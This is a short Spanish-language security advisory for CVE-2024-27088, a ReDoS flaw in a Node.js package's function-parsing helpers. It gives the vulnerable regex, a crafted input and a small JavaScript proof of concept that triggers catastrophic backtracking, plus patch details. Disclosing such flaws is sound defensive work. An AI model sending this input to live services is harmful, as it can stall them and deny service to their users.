
redos
CVE-2024-27088
Feb 26, 2024
ReDoS en el paquete node.js
Como parte del proyecto rebob
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
Esta vulnerabilidad puede explotarse cuando hay un desequilibrio en los paréntesis, lo que resulta en un retroceso excesivo y posteriormente aumenta la carga de la CPU y el tiempo de procesamiento de manera significativa. Esta vulnerabilidad se puede desencadenar utilizando la siguiente entrada:
'function{' + 'n'.repeat(31) + '){'
Aquí hay un código PoC simple para demostrar el problema:
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Impacto
Pasar funciones con nombres muy largos o nombres de argumentos predeterminados complejos a function#copy o function#toStringTokens puede hacer que el script se detenga
Parches Corregido con 3551cdd y a52e957 Publicado con v0.10.63
Soluciones alternativas No hay una solución alternativa real aparte de abstenerse de usar las utilidades anteriores.